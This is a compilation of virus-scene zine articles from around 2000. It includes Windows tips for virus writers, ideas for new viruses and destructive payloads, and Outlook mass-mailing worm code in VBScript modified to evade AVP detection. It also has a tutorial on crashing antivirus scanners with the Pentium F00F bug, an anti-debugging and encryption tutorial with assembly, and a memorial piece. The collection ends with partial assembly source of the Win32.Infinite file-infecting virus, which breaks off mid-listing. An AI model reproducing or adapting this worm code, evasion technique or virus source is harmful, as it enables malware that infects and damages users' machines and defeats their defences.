terminated.
4. Otherz - in Win2k Toolhelp32 library is implemented. You can again use fc as CreateToolhelp32Snapshot, Process32First etc. It is very usefull when writing for Win9x and Win2k a per(multi)-process residency. In WinNT you can use only EnumProcesses and EnumProcessModules from psapi until now.
These two functions weren't in Win9x so there were double code in viruses for both operating systems. - for easier access to registry you can use functions from Shell Light Weight API (shlwapi.dll). These functions are: SHDeleteEmptyKey SHDeleteKey SHDeleteValue SHGetValue SHSetValue SHQueryValueEx SHEnumKeyEx SHEnumValue SHQueryInfoKey SHRegGetBoolIUSValue e.g. to read a subkey, you had to open registry subkey, call RegQueryValueEx and then close the registry key. SHGetValue does everything in one step. - when you are infecting a file check it with SFCIsFileProtected which will tell you whether the file is protected or not. (I'm writing an article about how to fuck SFP and then it will be easier :)) - if you want to go to some system directories such as system32 etc. use fc ExpandEnvironmentStrings which let you use environment variables. E.g. until now you had to get windows directory and then paste system32. But now you just use %system32% environment variable which you pass to Expand ... that will return expanded path. DWORD ExpandEnvironmentStrings( LPCTSTR lpSrc, // string with environment variables LPTSTR lpDst, // string with expanded strings DWORD nSize // maximum characters in expanded string );
5. End I need rest !!! If you aren't crazy after reading this article then you are not normal :) For such people a little song: Settle for nothing A jail cell is freedom from the pain in my home Hatred passed on, passed on and passed on A world of violent rage But it's one that I can recognize Having never seen the color of my father's eyes Yes, I dwell in hell but it's a hell that i can grip I tried to grip my family But I sliped To escape from the pain and an existence mundane I gotta 9, a sign, a set and now I gotta name Read my writing on the wall No one's here to catch me when I fall But death is on my side Suicide!!!!!! Read my writing on the wall
No one's here to catch me when I fall Caught between my culture and the system Genocide!!!!!! Read my writing on the wall No one's here to catch me when I fall If ignorance is bliss Then knock the smile off my face If we don't take action now We settle for nothing later We'll settle for nothing now And we'll settle for nothing later Do you know who sings this? It's my beloved song from my beloved group. If you know name of that group tell it to me on #virus and you will get a prize. (well still dunno what the prize will look like but you will :)) And that's all for now ... If you'll find any errors just contact me pls. Thx for reading! Ratter ([email protected]) - I'm a stranger in the world i haven't made.
A few ideas for viruses Kalkin/EViL These are difficult times for us, virus writers. No, I don't mean the cops, society or the press. I mean the process of writing a virus. Yes, there are tons of materials about this subject and quite some people who can help, but that's usually by a technical problems. What if you want to do something radically new? It's actually not so easy coz everything has already been done: polymorphic macroviruses, ACCESS infection, LINUX-viruses. You can realize some parts of the virus in a never-seen-before way, but these parts are mainly only some solutions to some x technical problems. But you want to do something NEW and INTERESTING, something like the spying virus from CodeBreakers or the payload of CIH. Maybe this article will help you. .LNK and/or .PIF infection Maybe this has already been done, but I haven't heard about it (on the other hand, I'm not too informed about what goes on in the scene). Anyway, if it's so then the credit goes to the one who had this idea. Like you all know .LNKs are small link files, so called shortcuts, that were presented with Windows 95 (in Microsoft's OS world) and should eliminate the need to copy one program into several folders. .PIFs are basically the same, just they also contain usefull loading information and are for DOS programs. Both formats contain the path of the original program. It wouldn't be hard to replace this path with the path to our infected file, which would execute after it's actions the real program. This would be like some kind of companion virus. It would be even better, coz how many AV programs check for changes in .LNK/.PIF files? Another plus is that this infecting method basically works on every OS where are .LNKs (LINUX for example). The only problem is that a virus which uses just this method of infecting won't spread to any other computer (it will "travel" only if somebody for some x reason copys our file to another PC). But this method can be used to increase the change of executing the virus, especially in the case of runtime viruses. Alias "infection" This idea is based on the previous one and works on DOS (under 4DOS and NDOS) and *NIX systems (I think). A virus could set some aliases to itself and after infecting some files execute the original program. Name changing What if a DOS virus hooks INT 21h, saves and then changes the name (set by exec, found by findfirstfile) to the name of an infected file (in memory)? The infected file would be executed, copied to disk, included in a ZIP archive. If the proper code is included then this viralized item wouldn'd be opend for editing (the real one would). The same could do a WIN virus. And this method is better for spreading than the above two. Infection of format programs This idea was originally by MiKE The Hacker/TPT Gang and describes a hybrid virus, that infects formatting programs and modifies them so that they put the same virus on the bootsector of formatted disk. This would be better then just a bootsector-infector, coz you can't get rid of the virus by re-formatting the disk (atleast with this formatter). Reboot won't help eighter. This idea can be enhanced: infecting of CD writing programs, so that an AUTORUN.INF and an infected file would be written to CD. It should be a little bit easier (no need for a hybrid virus) and also better, coz there's no way you can get rid of the virus on CD (unless you're burning CD-RWs). Disadvanages: not too few formatting/CD-burning programs exist. Intel Pentium Pro fucking I came to this idea when I was surfing through Ralf Browns Interrupt List. There's written, that by using interrupt 15h and seting AX to D042h it's possible to install a microcode patch into the Pentium Pro processor. I haven't checked this and have no idea how much can the patch effect the CPU, so I don't know if the proper code will really fuck the processor
or will it do nothing. It's too bad that there aren't so many Pentium Pros around, coz there seems to be CIH potetial. "Collection" viruses This idea was inspired by GriYo/29A's SIMBIOSIS project. If you don't know what it is then: it outputted a polymorphing virus on an Internet worm that contained SMTP engine. A so called collection-virus is a virus (or worm) that contains several (let's say 5) viruses which will be released in a random order. "Part-upgrading" viruses Those viruses would have a "serial number" about every part of itself: the procedure of finding files, polymorphing engine, infecting part. When now such a virus would "meet" another part-upgrading-virus, it would check all serial numbers and if some of them are newer than it's own, it would copy the updated procedure to itself. But when it finds a part that it doesn't have then the virus would copy the part to itself and add a call or jump to it. So basically those viruses expand themselves. A direct action COM infector could for example add to itself parts to go TSR and infect EXEs. Quotating viruses It's a lame and not new idea. Such a virus would as payload display quotations of some famous person. For example Sokrates's. The good thing is that there are MANY people who have said something (I never said it should be something smart or meaningfull). Intro/demo viruses I don't mean here product demos, but graphics demos like they are presented on demo-parties and compos (check http://www.hornet.org to get the picture). Intro-viruses would play such videoeffects as payload. Advantages: usually small size, nice, different (what do you think, will people remember better a lame textmode "Infecto-ViruZ" in black and white or a "IntroVirus" in 24 bit colours companioned by breath-taking-beautiful moving clouds?) Simulating anti anti-virus viruses Most viruses today have retro abillities, but I'm talking about a virus, that is specially coded to destroy anti-virus programs. It would turn off resident AV monitors, install troyans in anti-viruses (*.AVC and TBSCAN.DEF infection). It would also overwrite part of AV programs by installing itself in them and then simulate that the AV scans. There are several viruses that patched the "File system" status on TbScan's output to hide the fact that it suddenly used DOS services to read the disk. A SAAV virus would for example execute the graphics procedure to display message "Scanning for known viruses in memory" by F-Prot/DOS but then just wait for some time. It would use the necessary procedure to bring up the scanning window, display filenames and instead of checking infect them. Or for example display "Checking partition table" by ThunderByte Partition (created by TbUtil) and check nothing. It could be like the real AIDS, which doesn't kill, it just destroys the immunity system and makes the way free for other deseases. It doesn't take much code to do so, just some small patches. The problem is how the virus finds what to patch coz AV companies would change the inner structure of the program with every new version. At this moment the fact, that most AV programs don't let to encrypt/compress themselves (coz of the CRC check), comes real handy. Simulating viruses Based on the above idea these viruses would install themselves in some specific programs and then simulate. One example could be PGP (so that the signature is always GOOD, and goodbye to trustfull software). It could also be one virus that patches several products. "Expensive" viruses It's actually a image of what happened here in Estonia: quite some Internet users recived a file called Estonia.Exe This was a SFX ZIP and contained a client program for some sex-server. Anyway, after executing the program did also some other things and as a result
the PC began to connect to Net through a Malaysian (if I remember correctly) server, which had quite high prices. Nobody knew it and everyone was REALLY surprised when in the end of the month the telephone bill was HUGE. There were talks that this was a virus, but most (including specialists) don't think so. It seems that it was just a troyan. But, this idea can be used in viruses (a good way to compromize the lamest ISP near you). Destroying the PC-speaker As last a destructive payload from KUTT/TPT Gang. The idea is based on the fact that speakers may get damaged when the music is too loud. KUTT though that it would be interesting if a virus did that to PC-speaker: generate a high and loud sound and play it quite some time. It's probably technically impossible to realize, but who knows? An enhanced version of this idea is to damage the speakers that are connected to the sound card. This should actually be more realistic, coz usually the hardware of a sound card is capable of that and the speakers aren't made for this situation.
The protector scene Kalkin/EViL There are many sub-cultures in the computer world: hackers, demo-coders, musicians, graphicans, virusauthors, crackers. And there's also a not so well knows scene: the protector-scene. It mostly consists of crackers. So what do these protector guys do? They research ways how to defeat debuggers/code analyzers/emulators/disassemblers and write programs that use these ways to protect COM and EXE files. Why am I telling this? Because there's been quite some talk about anti-byte techniques, the advantages of slow polymorphism and other ways to make the detecting and/or disinfecting of virus harder. But almost nothing has been said about anti-debug tricks, even if those are REALLY important. Already in number 4 (or was it number 6?) of 40hex was an article about ADcode. Samples there were for confusing the reading of code. But the methods have involved FAR beyond that. Nowadays the protecting part uses stack tricks to crash debuggers, changes between protected and real mode, checks memory, calculates checksums, debugs and emulates it self, relocates the code in memory, opens the original file and checks it for changes. The protectors contain polymorphic engines (I've seen all better known MTEs in them: TPE, ViCE, MtE, DAME, etc.). They have become really powerfull. But they still resemble to viruses: become executed first, do their stuff, clean up, execute the real program. Some of these protectors are REALLY hard to crack, even really good crackers have a problem with them. I come to the point now: what do you think, how many really good crackers are there among AVers? Sure, they know debuggers and dissemblers, but that's not enough to be a good cracker. What now if some hard AD code, so hard that even the best crackers have problems with it, has been used in your virus? Wouldn't the AVer, who gets a sample of it, have some sad times, sitting up all night and trying to decrypt the virii? But how can a viruswriter get this kind of code? For our luck, exactly like in viral business, there are many sourcecodes available. And there's also an another reason why to check protectors: quite a lot of them check the executable for changes. It's no problem when your virus is resident and has stealth capabillities, but if you coded a runtime virii then you're fucked. This can be changed by adding code that prevents the virii from infecting protected files. Ofcourse there's a third reason: use the encryption routines of a protector for crypting the virus. Or you can encrypt the file with this code and insert another decryptor, which decrypts your virii, into the main decryptor. The main coal is that AVP for example (seems to be the AV which can unpack the most executable compressors and decryptors) scans the file (finds no viral infection), finds the protector, unpacks it, scans the unprotected file (and finds again no virus). A (possilbly) good example of the code produced by the protector scene are EliCZ device drivers - ExDs. They are VxDs that are executed in DOS, work their way up to ring0 and stay there. Plus points: undetectable (or that's atleast what EliCZ claims). Why can't we use this technology in our virii? But check out the things yourself. You just need access to Internet and the following address: http://www.suddendischarge.com
Katja Kladnik (Lucky Lady) Richard Karsmakers "Make haste slowly." Suetonius, "Lives of the Ceasars" ST NEWS VOLUME 10 ISSUE 2 DEDICATION ARTICLE TO KATJA KLADNIK (R.I.P.) by Richard Karsmakers Some of you will maybe remember me mentioning a girl from Slovenia by the name of Lucky Lady that contacted me about 18 months ago for the first time. She has occurred in various installations of the ST NEWS virus column. As you may recall, she had decided to contact me in a reaction to my "Ultimate Virus Killer", which had in some way caused her to start a kind of 'competition' with her designing and spreading computer viruses and me trying to find and kill them. She sent me each of her creations so that I could update the "Ultimate Virus Killer" recognition algorithms. Although I certainly didnt't approve of all these things she did nor the way she involved me in it, all I could do was play along with the game. I couldn't contact her in return, because she always sent her packages anonymously. As 1994 was coming to its close, it became apparent that she had left the Atari community and was now concentrating more on the PC side of things. Also, quite suddenly she contacted me via electronic mail. Though I still didn't know her name, I could now at least send messages back to her. Especially with her having left the Atari virus creation scene, something happened which I had not considered possible: Our email messages became more casual and even personal. Gradually I found our that her real name was Katja Kladnik, who had lost her parents in the Yugoslavian war, though Slovenia was now no longer a war zone. She now lived with foster parents and studied pyschology at the University of Ljubljana, the capital of Slovenia. She was - I know this may sound strange to some of you, especially those struck by any of the viruses she has created - a really fascinating person who had a lot of hidden depths to her personality. We exchanged email messages with quite some regularity, usually involving topics like music, culture and, occasionally, viruses. I always wondered why she had found it so challenging to create computer viruses and start this semi- friendly "virus war" with me, a question that she could never really reply to satisfactorily. Around spring of this year I noticed her messages getting increasingly gloomy and depressing. She even said, at several occasions, that she wouldn't mind being dead or something. I never knew what triggered this doom and gloom, though it might have been her boyfriend leaving her some time earlier. There was nothing I could do about it, either. Believe me, I tried. When I emailed to her to ask how she was doing, somewhere around the middle of June, I got a message back after a while from someone else who said that, on June 3rd, 11:53 CET, Katja had died at Ljubljana's main hospital of an Atropine and Scopolamine overdose. Suicide, most likely. She was 22. Despite the fact that, in theory, Katja "Lucky Lady" Kladnik had started off as something like an enemy, in the course of our correspondence she had become a kind of friend. Especially after she had left the Atari scene, we opened up to each other and I no longer felt that being in contact with her was in some way morally incorrect what with my being a virus killer programmer and her a (by then ex-) Atari virus coder. During the last one or two months she was to me not a virus coder at all, but instead a sad young woman that needed attention and love badly. Katja, despite the fact that we started off on a really wrong foot, you will be on my mind always; not as a virus coder but as the enchanting and fascinating friend that you gradually became. This issue of ST NEWS is dedicated to the memory of Katja Kladnik.
Anti Avp Vbs I-Worms Detection. By [K]Alamar
In one of the last Updates, the Avp antivirus has added a detection for i-Worms that uses the Outlook replication method, used in almost all the Vbs and Js worms, Like the I Love you, Bubbleboy and all of them. Ok, this will made your I-worm undetectable for avp till they add it to the database; i'm pretty sure that if in your worm you use Outlook replication you use this code, or one similar: ---
Dim fso, ws Set fso = CreateObject("Scripting.filesystemobject") Set ws = CreateObject("WScript.Shell") Set OApp = CreateObject("Outlook.Application") if oapp="Outlook" then Set Mapi = OApp.GetNameSpace("MAPI") For Each AddList In Mapi.AddressLists If AddList.AddressEntries.Count <> 0 Then For AddListCount = 1 To AddList.AddressEntries.Count * Set AddListEntry = AddList.AddressEntries(AddListCount) Set msg = OApp.CreateItem(0) msg.To = AddListEntry.Address msg.Subject = "Your subject" msg.Body = "The body" msg.Attachments.Add "path to your Worm" msg.DeleteAfterSubmit = True If msg.To <> "" Then msg.Send End If Next End If Next end if ---
The only thing that you should do is add one line and change another, like here (lines with * are the modified ones): --Dim fso, ws Set fso = CreateObject("Scripting.filesystemobject") Set ws = CreateObject("WScript.Shell") Set OApp = CreateObject("Outlook.Application") if oapp="Outlook" then Set Mapi = OApp.GetNameSpace("MAPI") For Each AddList In Mapi.AddressLists If AddList.AddressEntries.Count <> 0 Then AddlistCount = AddList.AddressEntries.Count * For AddListCount = 1 To AddlistCount * Set AddListEntry = AddList.AddressEntries(AddListCount) Set msg = OApp.CreateItem(0) msg.To = AddListEntry.Address msg.Subject = "Your subject" msg.Body = "The body" msg.Attachments.Add "path to your Worm" msg.DeleteAfterSubmit = True If msg.To <> "" Then msg.Send End If Next End If
Next end if ---
You should delete the "*" if you want the worm to work. I think that if you know something about I-Worms you should understood what i did; i just create a new variable, AddlistCount , and make it be like the number of addressentries, and then i use that new variable in the next line. I hope you understood This. [K]Alamar - [email protected] Member Virii Argentina Http://www.virii.com.ar
--==< Retro the easy way. >==-By MidNyte, February 2000
What is a Retro-virus? ------------------------A Retro-virus is any virus that attacks antivirus programs, whether generically or just specific programs. It is generally used to disable or fool one or more of the popular antivirus programs. For instance, a certain virus will detect if a certain on-access scanner is in memory, and will issue the correct call to shut it down if it is. Another will patch the resident part of the scanner that decides whether to scan a file or not and makes it decide not to in all cases. These are very useful functions, but if you're not of the ability to be able to work out these methods for yourself, you are left with the choice of: leaving retro-functions out of your virus, using other peoples routines (which are therefor not new) or trying something different. That is what this tutorial is about, a few simple ideas that will give basic retro-functionality without the need to be too far advanced in coding. All you need is some basic anti-emulation skills.
What's the theory? --------------------So how do we get Retro without learning it all? Basically we find ways to annoy the user so much that he does the job of disabling the antivirus program for us. If we slow him down when he scans he will probably eventually only scan overnight, giving us a day to spread. If we make the program crash he probably won't bother scanning it again, he'll just add it to the ignore list. (It's not that uncommon to find a file that can't be scanned without crashing on a Microsoft machine :)
How do we implement it? -------------------------You remember reading that a good emulator will save it's place when it finds a decision-based jump? That way, if the code does a check of something and then quits if the condition is met, the emulator can just go back and pretend the condition wasn't met and see what it can find down the other branch of the program. This is to defeat the technique of quitting when finding an emulator. How about we stop that? How about we do our anti-emulation bit and then test it, but if we're being emulated instead of just quitting, we crash the program? Or better still, if we're on a pentium, why not just hang the machine? It's what the 'foof' bug is there for :) If the machine hangs, the antivirus program has no chance to return to the jump and try the other branch and the user will probably not bother scanning it again. If he does, the same thing will happen again and again, the user will never get a complete scan. Here's a rough guide to the code needed, assuming that you have in place a suitable emulation-detection routine:
cmp ax,028h ;our test for emulation je not_emulated ;jump if equal db 0F0h,00Fh,0C7h,0C8h ;this will hang most pentium machines, it's ;known as the 'foof bug' for obvious reasons.
not_emulated:
;here we are safe from the AV program
How many end users are going to restart the computer and try scanning that file again when the last time it hung the computer? In the Microsoft age of idiot-friendly operating systems, not many. If they don't know what's going on and the machine hangs, they just won't do it again. If they do once, they won't twice. Take the virus hoax emails that constantly do the rounds, most people know better to respond and forward the mail, but the fact that they carry on spreading shows just how many idiots there are out there who are capable (just about) of using a computer. These are the people who will not scan your file but simply add it to the ignore list, leaving it to go about it's business. Another method is the time wasted method. Again it's down to annoying the user so much they don't bother scanning. If you can go round enough loops when you find emulation that the scanner takes minutes just to scan one file, the scanner will probably only be run overnight and taken off constant background monitoring. That gives you a day to spread, and spread un-noticed.
Contact ---------Comments/questions/suggestions/bug reports/etc. are welcomed as always, as long as it is kept reasonable. - MidNyte
As always, I welcome ANY feedback, good or bad, as long as it is reasonable. |
[email protected] | www.coderz.org/midnyte | www.shadowvx.com/midnyte
|
--==< How to become the world's richest man >==-By MidNyte, June 1999 (Approx).
Microsoft are rumoured to have stated that they will use unlimited resources and funds to find the author of the VBS/Monopoly worm. The worm carries a message accusing Bill Gates of monopoly and includes a satirical picture of Bill Gates' head on the Waddingtons character featured on a monopoly board. This particular worm is much less of a security risk to the user than other viruses. Surely everyone can see this is a case of bruised millionaire's ego? Why does no-one point out to Bill that the worm spreads through the almost unbelievable lack of security that Microsoft products offer? Why not, Mr. Gates, use unlimited funds and resources to FIX your defective products? Why not, Trading Standards, make him make his product do what it claims to do, and while you're at it, make him either make it secure, or make him warn people of the security risk? This is the worlds richest man, who owns one of the worlds biggest companies, and that is how he got rich, by writing a half-product and managing to sell it for a huge price. Money that should have gone into making the products what they claimed to be went into Bill's back pocket instead. We now have proof in this retaliation to a simple worm that to Bill Gates, his ego is worth billions, his customers are not. The virus didn't prove your guilt Bill, it didn't need to. Your reaction leaves us in no doubt.
--==< An Introduction to Encryption, Part III >==-Is an impenetrable encryption possible?. By MidNyte, February 2000
A short (and over-simplified) history of the virus ----------------------------------------------------First of all came the un-encrypted virus. Then came virus scanners, which were basically just hex searchers looking for strings of hex only found in certain viruses. Viruses retaliated by coming up with encryption. Most of the virus is encrypted, and a small decryption engine at the start of the virus decrypts the virus body. As the encryption changes each time, the virus scanner is limited to searching for a much smaller section of code inside the constant decryptor. This wasn't much of a problem for virus scanners though. Viruses fought back again with polymorphism, this is essentially a way that a virus can change it's decryptor every time it infects a new file. That way no constant strings appear in the virus. Virus scanners came up with two ways to combat this, heuristics and emulation. Heuristics is simply looking for code that looks 'virus-like' This can be something as simple as the string '*.exe'. Emulation is the controlled running of the program instruction by instruction (not quite, but close enough for this article). A virus, under emulation, will be allowed to run just enough to decrypt itself and reveal it's code for either a straightforward scan or a generic (heuristic) scan. Anti-emulation is the viruses way of defeating this, it is a basically a way to detect emulation in progress and act accordingly. Some anti-emulation systems are incorporated into the decryptor of a virus, so that if the virus is being emulated it will not decrypt properly and hence not reveal it's code. Another defence the virus can use is anti-debugging, which is designed to hinder people who try to debug (in this case unencrypt) your code. This is different in that it doesn't defend the virus from antivirus programs, it defends it from the antivirus companies, the people who will try and study the virus and work out a way to detect it. Anti-debugging can be very simple, like turning off the keyboard interrupts at the start of the code and back on again at the end or it can be quite complicated, with the actual anti-debugging routine also being used as a key to decryption to protect against patching. This is the focus of this article.
Anti-debugging: more detail -----------------------------Anti-debugging tricks are basically little pieces of code that have no overall effect on the running of a virus when being run as normal, but that cause the virus to malfunction, crash or worse when they are run under a debugging environment. The simple example above was to turn of the keyboard interrupt at the start of the code, and turn it on again at the end of the virus before control is passed back to the host program. This is simply achieved with:
in al, 020h ; \ or al, 002h ; }Disable Keyboard interrupt out 020h, al ; / ...at the start, and: in
al, 020h ; \
and al, 0FDh ; }Enable keyboard interrupt (FDh = NOT 2) out 020h, al ; / ...at the end. When the virus is run under normal conditions, the keyboard is only off for a very small time, too small for people to notice. If the program is running under a debugger, as soon as the first few instructions are run the keyboard will no longer work, leaving the person at the debugger with no choice but to reset (at least it used to be in the good old days :) The simple work around for the person debugging was too simply patch over the code that turned off the keyboard with NOPs or other do-nothing instructions. Now the virus would work as normal under a debugger, without disabling the keyboard. To retaliate from this, the virus started to use it's anti-debugging routine as a key for decryption. The hex string to turn off the keyboard is 'E4 20 0C 02 E6 20'. If this was one of the decryption keys, the person debugging could not just replace the instructions with NOPs as this would change the key to '90 90 90 90 90 90' and cause the virus to decrypt incorrectly. This seems like an ideal solution, but unfortunately it is not. The whole point of this article is to point out the following fact: Any decryption routine can have it's basic functionality copied by someone determined to debug it. This means that your routine that uses an antidebugging routine and also uses that routine as a key for further decryption could be useless. Let's go through it with an example. The original virus looks like this:
start: in al, 020h ; \ or al, 002h ; }Disable Keyboard interrupt out 020h, al ; / xor si,si lea lea sub shr
bx, cx, cx, cx,
start_of_encrypted end_of_encrypted bx 001h
decrypt: mov ax, word ptr [start+si] xor [bx],ax inc si cmp si, offset decrypt jne next_key_word xor si,si next_key_word: loop decrypt The pointer to the relevant word of the decryption key is kept in si, and means that the key is all the code from 'start:' to 'decrypt:'. This works out as 'E4 20 0C 02 E6 20 33 F6 BB 19 01 B9 36 01 2B CB D1 E9'. If the keyboard part was nopped out the key would change to '90 90 90 90 90 90 33 F6 BB 19 01 B9 36 01 2B CB D1 E9', as we've already seen. What the person doing the debugging could do though, is simply take the encrypted portion of the virus and put it into his own program, only this time the key would be stored as data, not as an executable part of the program, like this:
start: xor si,si lea bx, start_of_encrypted
lea cx, end_of_encrypted sub cx, bx shr cx, 001h decrypt: mov ax, word ptr [key+si] xor [bx],ax inc si cmp si, offset key_end jne next_key_word xor si,si next_key_word: loop decrypt key: db 'E4 20 0C 02 E6 20 33 F6 BB 19 01 B9 36 01 2B CB D1 E9' key_end: As you can see, the above will decrypt the encrypted section in exactly the same manner, only because the key is stored as data we can change the code as much as we like.
Is an impenetrable encryption possible? -----------------------------------------So then, is it possible to include enough current techniques, or to come up with a new technique to completely eliminate the chance of the antivirus programmers being able to decode it? Many people think that they have found a way to ensure that their program is completely impenetrable to decryption unless it is running at the time. This is, unfortunately, unachievable in theory. Because of the above demonstrated technique, any anti-debugging technique can be overcome by someone with enough time to debug a program by hand. This means that *any* anti-debug code you put into a virus can be got around eventually because the person debugging can always read what is going on in a hex editor and make a new routine to simulate it, hence the routine you write will not always be used to decrypt the code. They will only see one layer of decryption at a time, however, and this is the key to making in impenetrable encryption.
Conclusion ------------In the end then, we can never make it *impossible* for a researcher to decrypt a virus through programming tricks, however we can make it *impractical* through the use of scale, ie, we can use so many layers and different tricks that it is impractical to debug. If it takes a week for a programmer to decrypt a virus with hundreds of layers of encryption, they may be able to justify it. If they have ten viruses of this kind it gets harder to justify, and with a hundred of them it starts to get impractical. The ball would be back in their court.
Contact ----------
Comments/questions/suggestions/bug reports/etc. are welcomed as always, as long as it is kept reasonable. - MidNyte
As always, I welcome ANY feedback, good or bad, as long as it is reasonable. |
[email protected] | www.coderz.org/midnyte | www.shadowvx.com/midnyte
|
; ;ÄÄÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄ¿ ; ÚÄÜÜÜÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÙ [ Win32.Infinite Billy Belcebu/iKX ] ; ÀÄÛÛÛÄÛÛÛÛÛÛÄÄÄÛÛÛÛÛÄÄ¿ ÚÄÄÄÄÄÄ[ 1699 bytes Target - Win32 Ring3 ]ÄÄÄÄÄÄ ; ÚÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÙ ³ [ 17/07/00 - Made in Valencia, Spain ] ; ÀÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÛÛÛÄÄÄÙ ; ; ; ; [ Introduction ] ; ; Welcome to Infinite. This virus has been very rare for me, as its ambient ; of development was very odd. Well, it's my first virus using cavity tech, ; something that i thought that it was more difficult than it really was... ; I sincerely doubt that it would work in WinNT family (NT4,W2K), as i havent ; been able to test it there (Win2k has some incompatibilities with my ; 3DFX Voodoo2 and my soundcard), but i didn't wanted to change that thing of ; Win32. If it doesn't, i don't care... Blah blah blah, i've returned from my ; laaaarge VX holydays and i've just recently finished Forever and this babe. ; I hope i haven't lost my awesome code style (blah, just kidding... i don't ; have anything awesome besides the size of my dick - enormous) :) ; Oh, i almost forgot... I've realized that the cavity technique is stable ; most of the times, but it's not perfect, and i should do much more compro; bations before infection than the already existing ones, but i really don't ; care: Windows also has fails in its code and noone reminds it ;) ; It's not a special virus in any field, but i wanted to do some cavity stuff ; and here it is. Mwaha! ; ; [ Features ] ; ; + Cavity virus, searches for holes of zeroes or INT 3. ; + Infect files on current, WINDOWS and WINDOWS/SYSTEM directories. ; + Simple & silly 8-byte XOR encryption loop ; + Kinda simple EPO with emulator protection ; + Checks for SFC protection (if it works in Win2k...) ; + CRC32 usage (APIs, extensions...) ; + It's intended to be optimized (not too much, but enough) ; ; [ Greetings ] ; ; This time the greets will go to few ppl. From the VX scene, to StarZer0, ; Wintermute, VirusBuster, Benny, Asmodeus, LifeWire, Bumblebee, Ypsilon, ; and from outside to my best friends out there.Also to the people that tries ; to make this place we call world a much better place. You rule, guyz. ; ; [ Infinity - The song ] ; ; Mother watch your children ; The iron fist of fear is ruling our lives ; It's not too late to change the course ; We can make this world a better place to be in ; ; How much more do we want until we're satisfied? ; What happens when we have what we want? ; Acquiring more, still there's never enough ; We forget those who really are in need ; The end is near, or so they say ; Selling peace with guns ; ; Infinity - Where do we go from here? ; Infinity - Where do we go from here? ; Infinity - Where do we go? ; Infinity - Where do we go from here?
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
Guns spitting (out the) message of peace everywhere Is it really that we don't care? See mercenaries of fear selling love Telling salvation comes from above Arrogance and fear walking hand in hand We must see that there's much more to life than this Mother see your children Make us understand to and help us to find the way The answers lie inside They are locked inside to the vault of truth of us It's time to spread the word around Be yourself and do what you want to do with your life Remember, you get just what you give You reap all what you sow You are in charge of your own life Infinity Infinity Infinity Infinity
-
Where Where Where Where
do do do do
we we we we
go from here? go from here? go? go from here?
You make your own way -----------------------------------------Infinity - [ Stratovarius ] - ( Infinite ) (c) 2000 Billy Belcebu/iKX
[ http://beautifulpeople.cjb.net ]
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Win32.Infinite (c) 2000 Billy Belcebu/iKX º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ include host.inc include infinite.inc virseg
; Some nice includes
segment dword use32 public 'infinite'
virus_start: ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Virus code º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ infinite: push pushad call encrypt_start call
eax
; Make some space on stack
decrypt = $ get_delta
call mov call jmp
SetSEH esp,[esp+08h] get_delta RestoreSEH
xor push mov
edx,edx dword ptr fs:[edx] dword ptr fs:[edx],esp
push
05h
; Set our new protection frame
SetSEH:
; ECX is the limit of pages
pop mov call mov
ecx esi,ebp ; We put a page inside our code CheckImageBase ; Get our own image base dword ptr [ebp+modbase-delta],esi
push pop mov call mov
05h ; 50 pages to scan ecx esi,[esp+2Ch] ; Put the candidate to kernel CheckImageBase ; Scan backwards for it dword ptr [ebp+kernel-delta],esi
lea xchg lea call
eax,[ebp+api_list-delta] eax,esi edi,[ebp+api_addresses-delta] GetAPIs
; Let's detect all the needed ; APIs :)
; Virus is now initialized, let's search for objectives. lea push push apicall
edi,[ebp+current_dir-delta] edi 7Fh GetCurrentDirectoryA
lea push push apicall call
edi,[ebp+infect_dir-delta] 7Fh edi GetWindowsDirectoryA SetDir&Infect
lea push push apicall call
edi,[ebp+infect_dir-delta] 7Fh edi GetSystemDirectoryA SetDir&Infect
lea push apicall call
edi,[ebp+current_dir-delta] edi SetCurrentDirectoryA Seek&Infect
; Save current directory to ; a temp variable
; Now let's unprotect the memory where the epo bytes will be restored
hh&l:
call dq push push mov add push apicall
hh&l ; Hunting high & low :) ? 04h ; PAGE_READWRITE epo_bytes eax,dword ptr [ebp+rethost-delta] eax,dword ptr [ebp+modbase-delta] eax VirtualProtect
; Now it's time to go away ;) RestoreSEH: xor pop pop
edx,edx dword ptr fs:[edx] edx
mov rethost equ add modbase equ
edi,(offset host-400000h) $-4 edi,12345678h $-4
; Restore the original SEH
sebes over0:
mov
[esp.20h],edi
call db pop push pop rep
over0 epo_bytes dup (90h) esi epo_bytes ecx movsb
popad ret ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Mark of the virus º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ db
0,"Win32.Infinite (c) 2000 Billy Belcebu/iKX",0
